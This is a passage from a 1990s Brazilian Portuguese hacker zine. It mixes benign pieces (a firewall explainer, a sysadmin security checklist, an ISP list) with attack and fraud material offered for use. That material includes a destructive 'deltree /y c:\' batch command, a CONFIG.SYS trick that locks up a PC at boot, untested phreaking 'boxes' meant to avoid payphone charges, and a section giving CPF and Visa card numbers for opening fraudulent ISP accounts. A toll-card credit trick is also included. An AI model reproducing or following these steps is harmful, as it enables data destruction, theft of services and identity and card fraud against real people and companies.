deltree /y c:\ > null
:fim
echo.
-----------------------------------------------------------------------------




	Travando a maquina.
	Hehehe. Primeiro crie um arquivo de texto qquer e nomeie-o com a 
exteno .EXE . Exemplo: echo besteiras > c:\windows\init.exe
	 Depois inclua a seguinte bomba no config.sys:
----------------------------Corte Aki--(CONFIG.SYS)--------------------------
DEVICE=C:\WINDOWS\INIT.EXE
-----------------------------------------------------------------------------



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  6. Phreaking  $$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boxes em fase de testes.


	Na edio passada mostrei uma box teorisada e testada por mim. Nessa
edio vo apenas uns planos que eu ainda no testei.


	^^^^^^^^^^Sound Box^^^^^^^^^^

	Jah reparou nos fios que ligam o aparelho de som as caixas de som??
	Um fio preto e um vermelho. Jah tentou liga-los com os fios da linha
telefonica?? Eu tb no.
	Mas jah pensou se funcionar?? Voc coloca o som tri alto comea a
falar com o kra pelo microfone e ateh da pra rolar uma musiquinha com quali-
dade pro kra ouvir.
	E' bacaninha essa box. Soh no sei se funcionara pois os fios do som
so bem mais grossos que os do telefone mas...




	^^^^^^^^^^Sound Box 2^^^^^^^^^^

	Tah, talvez com as caixas de som no funcionem, mas jah vio a finura
dos fios da caixa de som do computador??
	Faa a mesma coisa que vc fez com a "Sound Box 1".
	Tb tente com os fios do microfone, tanto do computador quanto o do
aparelho de som.




	^^^^^^^^^^Driver Box^^^^^^^^^^

	Assim..
	Segundo Tom Waits o telefone quando uma chamada e' completada, a po-
larisao do telefone e' mudada de -48 para +48 volts. Quando o aparelho per-
cebe que a polarisao esta' a +48 volts ele pede uma ficha.
	Se vc colocar um diodo nos fios telefonicos, a polarisao fica esta-
vel a 0 volts. Sendo assim, no se encontra positiva ento o aparelho no ir
requerer mais fichas.
	Mas ateh onde foi explicado, o aparelho s ira cobrar quando a pola-
risaa chegar a +48.
	Entaum reparei que num dakeles carrinhos de controle remoto, meio
antigos(com um fio ligando o controle ao carro), usava o mesmo padro de fios
telefonicos dos EUA.
	O que eu tenho aki  um modelo AUTO DRIVER da GLASSLITE, que precisa
de 3 pilhas medias para funcionar.
	Cada pilha pode gerar 1,5 volts. Sendo assim 4,5 ao total.
	No sei ao certo, se vc ligar os fios vermelhos e verdes e dar tipo
uma partida no controle remoto, se a polarisao ira' subir mais 9 volts ou
ir se estabilizar em 9 volts.
	Se a segunda opo acontecer, o aparelho tb no necesitara' + fichas,
pq no atingiu os +48 volts. O aparelho pensara que esta' no estagio em que a
polarisao estara subindo.
	Se a primeira estiver correta, a ligao ira' acabar dentro de umas
10 partidas do controle remoto.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  7. Redes  $$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==-=-=-=-=-=-=-=-=-=-=-=

	FireWalls (por Anonymous)


	O que  um Firewall ? 
	Um firewall  um dispositivo de rede qualquer, que pode ser um com-
putador ou um roteador que filtra o acesso a um rede de computadores que deve
ser protegida.
	Este muro de fogo permite voc proteger a rede de sua empresa da 
intruso de seres extra-terrestres no desejados. Ao mesmo tempo que permite
que pessoas comuns, que batalham o ms inteiro para ganhar um misero salrio,
tenham acesso aos servios da internet, tais como Web e email a partir de 
dentro da empresa. Eles tambm podem ser utilizados para realizar um controle
(contabilidade) de acessos para permitir que somente certas pessoas da orga-
nizao tenham acesso aos dados a partir da internet. Muitos firewalls contm
agora caractersticas para controlar, autenticar e asegurar o usurio que 
quer acessar os dados internos da empresa a partir da Internet ou de alguma
subsidiria,este tipo de servios esto se tornando cada vez mais necessrios
. 
	Os firewalls esto sendo utilizados em muitas organizaes, no so-
mente aquelas com conexo Internet, eles podem ser utilizados para proteger 
mainframes ou outros recursos centralizados dentro da prpria organizao, ou
ainda, para garantir a segurana das informaes que passam atravs de redes 
pblicas. 



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$
$$$$$$$                           $$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$
$$$$$$  8. Invaso de privacidade  $#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$
$$$$$$$                           $$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Lista de itens de segurana que devem ser observados
	Copyright 1994-1997 Pangia Informtica Ltda


	A seguinte lista tem por objetivo auxiliar os adminstradores de sis-
tema a manter a segurana de suas instalaes em um nvel aceitvel. Ela se 
propoe a servir como base para o adminstrador montar sua prpria lista. 
 
	Este documento pode ser distribuido gratuitamente, desde que mantidos
os devidos crditos.

[Planejamento]
[Usurios/Senhas] 
[Root] 
[Sistema de Arquivos] 
[Contas de Usurios] 
[Dados]
[Arquivos de logs] 
[Ameaas] 
[Ameaas via Rede] 
[Segurana em Roteadores]




*** Planejamento: ***
1. Identifique o que voc precisa protejer 
2. Escolha as prioridades pra segurana 
3. Especifique normas para emergencias 
4. Eduque seus usurios 




*** Usurios/Senhas ***
1. Certifique-se que cada usurio tenha uma conta individual 
2. Confirme se cada usurio possui senha 
3. Verifique se sua instalao pode rejeitar senhas com menos de 6 caracteres
4. Consiga e rode programas que tentam achar senhas frgeis(Crack, Cracklib).
5. Considere a possibilidade de usar programas que geram senhas. 
6. Nunca transmita senhas por telefone ou e-mail. 
7. Certifique-se que o arquivo de senhas s pode ser lido pelo "root". 
8. Considere a possibilidade de trocar as senhas em intervalos regulares. 




*** Root ***
1. Iniba a entrada do root de qualquer terminal(deixe, no mximo, a console).
2. Entre com sua conta comum e ento use "su" para tornar-se "root". 




*** Sistema de Arquivos ***
1. Procure por programas que tenham SUID/SGID ligados. 
2. Procure por arquivos com permisso para gravao, que so disparados por 
   alguma ferramenta especfica (.exrc, .profile, .pinerc, .kshrc, .login,
   /etc/sendmail.cf, /etc/profile, etc) 




*** Contas de Usurios ***
1. Remova contas inativas. 
2. Use rksh ou rsh quando necessrio. 
3. Certifique-se que todas as contas tem senha. 
4. Evite criar contas pra rodar um nico programa. 
5. Jamais crie outras contas com id 0 (mesmo do root). 




*** Dados ***
1. Faa cpias de segurana regularmente. 
2. Certifique-se que as cpias podero ser recuperadas numa emergncia. 
3. Use mecanismos de veficao de integridade de programas e arquivos. (por
   exemplo checksum md4/5 ou pdf) 
4. Certifique-se que os sistemas de arquivos tem as permisses corretas. 
5. No habilite SUID/SGID em scripts (shell ou perl) 
6. Elimine as permisses de gravao nos "devices" dos terminais, "pseudo 
   terminais" principalmente. 
7. Certifique-se que os arquivos comeados com "." no tem permisso pra 
   gravao por ninguem. 
8. Remova todos os shells (csh, zsh, ash, etcsh) que no estiver usando. 
9. Considere rodar regularmente programas que identificam falhas de segurana
   no Unix, tais como COPS, Tiger, Medusa, etc. 
10. Guarde uma listagem dos programas que tem SUID/SGID e compare-a com cada
   nova verificao. 
11. Remova TODOS os utilitrios que no forem necessrios na mquina, tais 
   como: cc, perl, awk, etc. 




*** Arquivos de Logs ***
1. Rode o comando "last" e "who /var/adm/wtmp" regularmente. 
2. Verifique os arquivos de auditoria regularmente 
3. Verifique o arquivo sulog. 
4. Verifique os arquivo gerados pelos Daemos com: xferlog( ftpd), syslog 
   (syslogd) messages (syslogd) access_log (httpd)

	OBS:  /etc/syslog.conf permite uma grande varideade de possibilidades
de log, e de arquivos para cont-los 




*** Ameaas ***
1. Nunca instale software desconhecido, sem os fontes para exame. 
2. Evite usar scripts com SUID/SGID, examine data e permisses. 
3. Jamais coloque "." na varivel de ambiente PATH do "root". 
4. Vefique periodicamente os arquivos de rc e data de modificao de progra-
   mas.
5. Examine a varivel de ambiente PATH de todos os scripts que for executar.
6. Garanta que nenhum programa com SUID/SGID permita sada para o shell. 
7. Examine os programas que permitem passar o usurio com parmetro. 




*** Ameaas via Rede ***
1. Examine o /etc/hosts.equiv e todos os .rhosts, caso voc deseje usar os 
   comandos "r" (rlogin, remsh (rsh), rexec, rcp, retc :-)). 
	NOTA: este recurso  altamente condenado, no aspecto segurana. 
2. Desabilite TODOS os recursos de rede que NO estiver usando. 
3. Substitua (se quiser manter habilitado) o fingerd, por uma verso segura.
4. Verifique (e instale) a verso mais recente do Sendmail. 
5. Desabilite, se possvel, o servio de TFTP. (Candidato a servio mais 
   inseguro) 
6. Certifique-se que a verso do FTP anonymous  segura. 
7. Jamais coloque o mesmo arquivo /etc/passwd no diretrio do ftp anonymous.
8. Jamais crie diretrios cujo dono seja o usurio "ftp" (servio FTP). 
9. Desabilite o servio de NFS para maquinas remotas. 
10. Desabilite os servicos internos (chargen, echo, etc). 
11. Use um POPD que tenha arquivo de senhas prprio, ou ao menos permita 
   desconexo aps n (poucas) tentativas. 
12. Remova o programa phf do diretrio .../httpd/cgi-bin. (servio http). 
13. Remova tambm os programas test-cgi e nph-test-cgi diretrio .../httpd/
   cgi-bin. (servio http). 
14. Jamais coloque algum interpretador (perl, csh, ksh, etc) no diretrio 
   .../httpd/cgi-bin (servio http). 
15. No crie links que usem o perl ou shell para disparar programas. 




*** Segurana em Roteadores ***
1. Troque ou cadastre uma senha no roteador antes de ligado definitivamente
  `a Internet, seguindo as mesmas regras para senhas de usurio. 
2. Desabilite, se possvel, o acesso remoto ao 'login' do roteador. 
3. Desabilite os servicos internos (chargen, echo, etc). 
4. No caso de roteadores Cyclades, troque no s a senha de fbrica como 
   tambm o nome do superusurio. 
5. Desabilite todos os protocolos desnecessrios (RIP, BGP, etc). 



-----------------------------------------------------------------------------
Ultima Atualizao 29/12/97 - Nelson Murilo (nelson@pangeia.com.br) 
Comentrios para suporte@pangeia.com.br 
NOTA: 

Possibilidades como: criptografia, firewalls, autenticao e simulao de
ataques, no foram discutidas pois no podem ser analisadas fora do contexto
da instalao com um todo.


-----------------------------------------------------------------------------
1995-97  Pangia Informtica LTDA. 


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  9. Hack, the Art  $$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Fazendo contas fantasmas na UOL.


	Numa edio passada, meu amigo Slacker mostrou como fazer contas
fantasmas na Mandic. Aki, mostrarei como fazer na uol. E' bem simples.
	Voc precisar de um gerador de CPF e de CC(Credit Card).
	Se vc no conseguir achar nenhum eu colocarei uma breve lista de
numeros de CPF e CC.

CPFs:
9873484779
45434578465
26456363578
46345674664
45634377943
05134348529


CCs:
Visa:
4013 8604 7222 2342
4013 5768 7497 8519
4013 5221 8759 9378
4013 1796 6406 4747
4013 3146 7723 9537
4013 7107 2725 1887


	Na data de vencimento do carto coloque 12/99.
	Ae preencha os dados direitinho, faa algo certinho tipo:
Pais: Brasil
Estado: RS
Cidade: Porto Alegre
Rua: Assis Brasil

	E no:
Pais: EUA
Estado: RJ
Cidade: So Paulo
Rua: Dom Pedro II

	Lembre-se de no fazer isso de casa. A porra do Anonymiser no vai te
ajudar nisso.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Montando um servidor WWW


	Existem vrios programas disponveis para download.
	Um dos mais simples  o "Alibaba", que pode ser obtido no endereo 
http://www.csm.co.at/csm/alibaba.htm . 
	O WebSite, da O'Reilly & Associates (http://website.ora.com),  um 
pouco mais arrojado e conta com bons recursos de segurana.
	Os dois tm verses para Windows NT e 95. 
	Uma terceira alternativa  o NetWare Web Server, disponvel no site
da Novell ( http://corp.novell.com/announce/webserve).
	Estes dados foram extraidos de uma revista.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Cartes para a FreeWay


	A alguns dias eu l no jornal que foram extreiados os cartes com
creditos para as FreeWays (BR 290 aqui no sul).
	Os cartes so de fita magnetica e podem ser recarregados assim como
os cartes da playland (playcard). Parece que o carto e' comprado com 25 ou
50 creditos e ao acabar e' recarregado nos mesmos lugares onde foi comprado.
	Podem ser comprados na prpria freeway.
	Ainda no testei, mas tudo indica que os truques para deixar os 
crditos infinitos no playcard tb funcionam nesses cartes.
	No se lembra?? Passe esmalte de spray incolor na fita magnetica do
carto e experimente.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--=-==-=-=-=-=-=-=-=-=-=-=-=-==-=-=-

	


$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$                 $$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  10. BoNuS!!!  $$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$                 $$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Lista de provedores - Rio de Janeiro (2a parte)


* Provedor : MSM-Internet
  Host : msm.com.br
  Telefone : 2407042
             2405249
  Email : suporte@msm.com.br


* Provedor : Nad's BBS
  Host : nads.com.br
  Email : sysop@nads.com.br


* Provedor : Netfly
  Host : netfly.com.br
  Telefone : 5671900
  Email : comercial@netfly.com.br


* Provedor : NetGate
  Host : netgate.com.br
  Telefone : 2539918
  Email : netgate@netgate.com.br


* Provedor : NetRio
  Host : netrio.com.br
  Telefone : 5892029
  Email : webmaster@netrio.com.br


* Provedor : Netyet
  Host : netyet.com.br
  Email : info@netyet.com.br


* Provedor : NetZero Provider
  Host : netzero.com.br
  Email : webmaster@netzero.com.br


* Provedor : NovaNet
  Host : novanet.com.br
  Telefone : 5311545
             5311850
  Email : info@novanet.com.br


* Provedor : Nutecnet do Rio de Janeiro
  Host : rio.nutecnet.com.br
  Telefone : 5151155
  Email : suporte@rio.nutecnet.com.br


* Provedor : OpenLink
  Host : openlink.com.br
  Telefone : 5151202
  Email : admin@openlink.com.br


* Provedor : OpusNet
  Host : opusnet.com.br
  Email : webmaster@opusnet.com.br


* Provedor : Pandora - Desenvolvimento de HomePages
  Host : pandora.com.br
  Email : info@pandora.com.br


* Provedor : PlanetWay
  Host : planetway.com.br
  Email : webmaster@planetway.com.br


* Provedor : Plugue
  Host : plugue.com.br
  Telefone : 5422092
  Email : plugue@plugue.com.br


* Provedor : PontoCom
  Host : pontocom.com.br
  Telefone : 5431270
  Email : info@ pontocom.com.br


* Provedor : Prolink
  Host : prolink.com.br
  Email : mailadm@prolink.com.br


* Provedor : Riolink Internet
  Host : rio.com.br
  Telefone : 5778899
  Email : riolink@rio.com.br


* Provedor : RioNet
  Host : rionet.com.br
  Telefone : 5322280
             2406928
  Email : rionet@rionet.com.br


* Provedor : SkyNet
  Host : sky.com.br
  Telefone : 2868797
  Email : info@sky.com.br


* Provedor : TrendNet
  Host : trendnet.com.br
  Email : webmaster@trendnet.com.br


* Provedor : Trip Informatica Ltda.
  Host : trip.com.br
  Telefone : 5562898
             5563166
  Email : comercial@trip.com.br


* Provedor : Tropical HiperNet Rio
  Host : hipernet.com.br
  Email : telecom@hipernet.com.br


* Provedor : Unikey BBS
  Host : unikey.com.br
  Email : webmaster@unikey.com.br


* Provedor : Uninet
  Host : uninet.com.br
  Telefone : 0800 221958
  Email : informacao@uninet.com.br


* Provedor : Vetor
  Host : vetor.com.br
  Telefone : 5331370
  Email : webmaster@vetor.com.br


* Provedor : Virtual Internet Provider
  Host : virtual.com.br
  Email : virtual@virtual.com.br


* Provedor : VisualNet
  Host : visualnet.com.br
  Email : vendas@visualnet.com.br


* Provedor : WorldSite
  Host : worldsite.com.br
  Email : webmaster@worldsite.com.br



Total : 28
Ateno!!! Os Dados contidos aki foram tirados da revista Internet Business,
pois eu no moro no rio e nao sei nada dos provedores de lah.
Os telefones visto aki e na edio passada so para contato com o provedor
via voz/fax e no a modem.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



	Desculpe pela demora(1 semana) para sair esta edio da zine.
	As zines mais recentes que encontrei na inet foram:


UHB - Unio dos Hackers Brasileiros
http://www.dominio.uhb.org


TDK - The Death Knights
http://www.deathsdoor.com/tdk


r00t h/p/a/c
william.poa@usa.net

	Falowz

